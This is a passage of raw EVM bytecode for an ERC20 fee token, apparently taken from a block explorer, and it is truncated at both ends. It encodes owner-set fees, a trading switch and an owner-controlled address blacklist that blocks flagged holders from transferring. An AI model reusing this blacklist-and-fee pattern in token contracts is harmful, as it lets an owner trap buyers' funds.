fffffffffffffffffffffffffffffffffffffff1614611f84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060138190555050565b611f9661354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612058576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b82601581905550816016819055508060178190555060175460165460155401016014819055506014805411156120f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4d757374206b656570206665657320617420323025206f72206c65737300000081525060200191505060405180910390fd5b505050565b61210361354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181111561223c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f646f6e27742063617463682068756d616e73000000000000000000000000000081525060200191505060405180910390fd5b6001600d60026101000a81548160ff02191690831515021790555060011515601060019054906101000a900460ff161515146122e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f646f6e650000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000601060016101000a81548160ff02191690831515021790555061230481614303565b7fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c47601060019054906101000a900460ff1660405180821515815260200191505060405180910390a150565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561243d5780601f106124125761010080835404028352916020019161243d565b820191906000526020600020905b81548152906001019060200180831161242057829003601f168201915b5050505050905090565b61244f61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612511576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526039815260200180614cf06039913960400191505060405180910390fd5b6125c2828261432f565b5050565b60175481565b601e5481565b601b5481565b600061269b6125e561354c565b8461269685604051806060016040528060258152602001614eb5602591396001600061260f61354c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142439092919063ffffffff16565b613554565b6001905092915050565b60006126b96126b261354c565b848461374b565b6001905092915050565b6126cb61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461278d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61285561354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612917576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b815181101561299b576001600e600084848151811061293557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061291a565b5050565b60216020528060005260406000206000915054906101000a900460ff1681565b600d60019054906101000a900460ff1681565b6129da61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405180821515815260200191505060405180910390a25050565b612b4f61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8260198190555081601a8190555080601b81905550601b54601a54601954010160188190555060196018541115612cb0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4d757374206b656570206665657320617420323525206f72206c65737300000081525060200191505060405180910390fd5b505050565b612cbd61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612d7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400006103e86005612d95611467565b0281612d9d57fe5b0481612da557fe5b04811015612dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614ccc6024913960400191505060405180910390fd5b670de0b6b3a76400008102600c8190555050565b601060009054906101000a900460ff1681565b600a5481565b6000612e3561354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ef7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b620186a06001612f05611467565b0281612f0d57fe5b04821015612f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180614d856035913960400191505060405180910390fd5b6103e86005612f73611467565b0281612f7b57fe5b04821115612fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180614dba6034913960400191505060405180910390fd5b81600b8190555060019050919050565b60145481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b600061308161354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613143576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000601060006101000a81548160ff0219169083151502179055506001905090565b60165481565b61317361354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613235576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156132bb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614c846026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601a5481565b600c5481565b61338f61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613451576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600061347e600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611aa8565b905060018111156134c0576134bf600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166134b761234f565b84840361374b565b5b5050565b600080828401905083811015613542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156135da576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614e916024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613660576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614caa6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156137d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614e6c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613857576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614c616023913960400191505060405180910390fd5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156138fb5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61390457600080fd5b600081141561391e57613919838360006143d0565b61423e565b600d60009054906101000a900460ff1615613d715761393b61234f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156139a9575061397961234f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156139e25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613a1c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613a355750600760149054906101000a900460ff16155b15613d7057600d60019054906101000a900460ff16613b6257601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613aef5750601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613b61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f54726164696e67206973206e6f74206163746976652e0000000000000000000081525060200191505060405180910390fd5b5b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613c055750602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613c6a57600a54811115613c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180614dee6035913960400191505060405180910390fd5b613d6f565b602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613d0d5750602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613d6e57600a54811115613d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180614d4f6036913960400191505060405180910390fd5b5b5b5b5b6000613d7c30611aa8565b90506000600b548210159050808015613da15750600d60029054906101000a900460ff165b8015613dba5750600760149054906101000a900460ff16155b8015613e105750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613e665750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613ebc5750601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613f00576001600760146101000a81548160ff021916908315150217905550613ee4614691565b6000600760146101000a81548160ff0219169083151502179055505b6000600760149054906101000a900460ff161590506000600a9050601f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613fbc5750601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613fca5760009150614035565b602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561403457614031601354826147c790919063ffffffff16565b90505b5b6000821561422d57602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561409857506000601854115b15614129576140c560646140b76018548961481190919063ffffffff16565b61489790919063ffffffff16565b9050601854601a548202816140d657fe5b04601d60008282540192505081905550601854601b548202816140f557fe5b04601e6000828254019250508190555060185460195482028161411457fe5b04601c60008282540192505081905550614212565b602160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561418457506000601454115b15614211576141b160646141a36014548961481190919063ffffffff16565b61489790919063ffffffff16565b90506014546016548202816141c257fe5b04601d600082825401925050819055506014546017548202816141e157fe5b04601e6000828254019250508190555060145460155482028161420057fe5b04601c600082825401925050819055505b5b6000811115614227576142268830836143d0565b5b80860395505b6142388888886143d0565b50505050505b505050565b60008383111582906142f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156142b557808201518184015260208101905061429a565b50505050905090810190601f1680156142e25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b43601181905550806012819055506001600d60016101000a81548160ff02191690831515021790555050565b80602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415614456576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614e6c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156144dc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614c616023913960400191505060405180910390fd5b6144e78383836148e1565b61455281604051806060016040528060268152602001614d29602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142439092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506145e5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134c490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061469c30611aa8565b90506000601e54601c54601d54010190506000808314806146bd5750600082145b156146ca575050506147c5565b6014600b54028311156146e0576014600b540292505b6000600283601d548602816146f157fe5b04816146f957fe5b049050600061471182866147c790919063ffffffff16565b905061471c816148e6565b6000601d819055506000601c819055506000601e81905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405180600001905060006040518083038185875af1925050503d80600081146147b4576040519150601f19603f3d011682016040523d82523d6000602084013e6147b9565b606091505b50508093505050505050505b565b600061480983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614243565b905092915050565b6000808314156148245760009050614891565b600082840290508284828161483557fe5b041461488c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614e236021913960400191505060405180910390fd5b809150505b92915050565b60006148d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614b9a565b905092915050565b505050565b6000600267ffffffffffffffff8111801561490057600080fd5b5060405190808252806020026020018201604052801561492f5781602001602082028036833780820191505090505b509050308160008151811061494057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156149e257600080fd5b505afa1580156149f6573d6000803e3d6000fd5b505050506040513d6020811015614a0c57600080fd5b810190808051906020019092919050505081600181518110614a2a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050614a9130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613554565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015614b55578082015181840152602081019050614b3a565b505050509050019650505050505050600060405180830381600087803b158015614b7e57600080fd5b505af1158015614b92573d6000803e3d6000fd5b505050505050565b60008083118290614c46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614c0b578082015181840152602081019050614bf0565b50505050905090810190601f168015614c385780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581614c5257fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737343616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20302e352554686520706169722063616e6e6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b65744d616b6572506169727345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636553656c6c207472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73616374696f6e416d6f756e742e5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e20302e3030312520746f74616c20737570706c792e5377617020616d6f756e742063616e6e6f7420626520686967686572207468616e20302e352520746f74616c20737570706c792e427579207472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73616374696f6e416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74206c6f776572207468616e20302e3125a2646970667358221220521e4441e4c8fd697395d394900cdb8a1a89cc07e920db5658ec30206ad7756864736f6c63430007060033
Deployed Bytecode
0x60806040526004361061036f5760003560e01c80638ea5220f116101c6578063c17b5b8c116100f7578063e2f4560511610095578063f2fde38b1161006f578063f2fde38b14611280578063f6374342146112d1578063f8b45b05146112fc578063fb1669ca1461132757610376565b8063e2f45605146111fd578063e884f26014611228578063f11a24d31461125557610376565b8063c8c8ebe4116100d1578063c8c8ebe4146110d1578063d257b34f146110fc578063d85ba0631461114d578063dd62ed3e1461117857610376565b8063c17b5b8c1461101a578063c18bc19514611069578063c876d0b9146110a457610376565b8063a457c2d711610164578063b515566a1161013e578063b515566a14610e64578063b62496f514610f29578063bbc0c74214610f90578063c024666814610fbd57610376565b8063a457c2d714610d31578063a9059cbb14610da2578063aacebbe314610e1357610376565b80639a7a23d6116101a05780639a7a23d614610c535780639c3b4fdc14610cb05780639fccce3214610cdb578063a0d82dc514610d0657610376565b80638ea5220f14610b575780639213691314610b9857806395d89b4114610bc357610376565b80634a62bb65116102a05780637571336a1161023e5780637ed91485116102185780637ed9148514610a515780638095d56414610a8c57806382aa7c6814610adb5780638da5cb5b14610b1657610376565b80637571336a1461098857806375f0a874146109e55780637bce5a0414610a2657610376565b80636ddd17131161027a5780636ddd1713146108b257806370a08231146108df578063715018a614610944578063751039fc1461095b57610376565b80634a62bb65146107f35780634fbee193146108205780636a486a8e1461088757610376565b80631f3fed8f1161030d578063273123b7116102e7578063273123b7146106c2578063313ce56714610713578063395093511461074157806349bd5a5e146107b257610376565b80631f3fed8f146105cb578063203e727e146105f657806323b872dd1461063157610376565b80631694505e116103495780631694505e146104e357806318160ddd146105245780631816467f1461054f5780631a8145bb146105a057610376565b806306fdde031461037b578063095ea7b31461040b57806310d5de531461047c57610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390611362565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d05780820151818401526020810190506103b5565b50505050905090810190601f1680156103fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041757600080fd5b506104646004803603604081101561042e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611404565b60405180821515815260200191505060405180910390f35b34801561048857600080fd5b506104cb6004803603602081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611422565b60405180821515815260200191505060405180910390f35b3480156104ef57600080fd5b506104f8611441565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053057600080fd5b50610539611467565b6040518082815260200191505060405180910390f35b34801561055b57600080fd5b5061059e6004803603602081101561057257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b005b3480156105ac57600080fd5b506105b56115fb565b6040518082815260200191505060405180910390f35b3480156105d757600080fd5b506105e0611601565b6040518082815260200191505060405180910390f35b34801561060257600080fd5b5061062f6004803603602081101561061957600080fd5b8101908080359060200190929190505050611607565b005b34801561063d57600080fd5b506106aa6004803603606081101561065457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611746565b60405180821515815260200191505060405180910390f35b3480156106ce57600080fd5b50610711600480360360208110156106e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061181f565b005b34801561071f57600080fd5b50610728611944565b604051808260ff16815260200191505060405180910390f35b34801561074d57600080fd5b5061079a6004803603604081101561076457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061194d565b60405180821515815260200191505060405180910390f35b3480156107be57600080fd5b506107c7611a00565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ff57600080fd5b50610808611a26565b60405180821515815260200191505060405180910390f35b34801561082c57600080fd5b5061086f6004803603602081101561084357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a39565b60405180821515815260200191505060405180910390f35b34801561089357600080fd5b5061089c611a8f565b6040518082815260200191505060405180910390f35b3480156108be57600080fd5b506108c7611a95565b60405180821515815260200191505060405180910390f35b3480156108eb57600080fd5b5061092e6004803603602081101561090257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aa8565b6040518082815260200191505060405180910390f35b34801561095057600080fd5b50610959611af0565b005b34801561096757600080fd5b50610970611c7b565b60405180821515815260200191505060405180910390f35b34801561099457600080fd5b506109e3600480360360408110156109ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611d69565b005b3480156109f157600080fd5b506109fa611e8e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a3257600080fd5b50610a3b611eb4565b6040518082815260200191505060405180910390f35b348015610a5d57600080fd5b50610a8a60048036036020811015610a7457600080fd5b8101908080359060200190929190505050611eba565b005b348015610a9857600080fd5b50610ad960048036036060811015610aaf57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611f8e565b005b348015610ae757600080fd5b50610b1460048036036020811015610afe57600080fd5b81019080803590602001909291905050506120fb565b005b348015610b2257600080fd5b50610b2b61234f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b6357600080fd5b50610b6c612379565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba457600080fd5b50610bad61239f565b6040518082815260200191505060405180910390f35b348015610bcf57600080fd5b50610bd86123a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c18578082015181840152602081019050610bfd565b50505050905090810190601f168015610c455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c5f57600080fd5b50610cae60048036036040811015610c7657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612447565b005b348015610cbc57600080fd5b50610cc56125c6565b6040518082815260200191505060405180910390f35b348015610ce757600080fd5b50610cf06125cc565b6040518082815260200191505060405180910390f35b348015610d1257600080fd5b50610d1b6125d2565b6040518082815260200191505060405180910390f35b348015610d3d57600080fd5b50610d8a60048036036040811015610d5457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506125d8565b60405180821515815260200191505060405180910390f35b348015610dae57600080fd5b50610dfb60048036036040811015610dc557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126a5565b60405180821515815260200191505060405180910390f35b348015610e1f57600080fd5b50610e6260048036036020811015610e3657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126c3565b005b348015610e7057600080fd5b50610f2760048036036020811015610e8757600080fd5b8101908080359060200190640100000000811115610ea457600080fd5b820183602082011115610eb657600080fd5b80359060200191846020830284011164010000000083111715610ed857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061284d565b005b348015610f3557600080fd5b50610f7860048036036020811015610f4c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061299f565b60405180821515815260200191505060405180910390f35b348015610f9c57600080fd5b50610fa56129bf565b60405180821515815260200191505060405180910390f35b348015610fc957600080fd5b5061101860048036036040811015610fe057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506129d2565b005b34801561102657600080fd5b506110676004803603606081101561103d57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050612b47565b005b34801561107557600080fd5b506110a26004803603602081101561108c57600080fd5b8101908080359060200190929190505050612cb5565b005b3480156110b057600080fd5b506110b9612e12565b60405180821515815260200191505060405180910390f35b3480156110dd57600080fd5b506110e6612e25565b6040518082815260200191505060405180910390f35b34801561110857600080fd5b506111356004803603602081101561111f57600080fd5b8101908080359060200190929190505050612e2b565b60405180821515815260200191505060405180910390f35b34801561115957600080fd5b50611162612fe4565b6040518082815260200191505060405180910390f35b34801561118457600080fd5b506111e76004803603604081101561119b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fea565b6040518082815260200191505060405180910390f35b34801561120957600080fd5b50611212613071565b6040518082815260200191505060405180910390f35b34801561123457600080fd5b5061123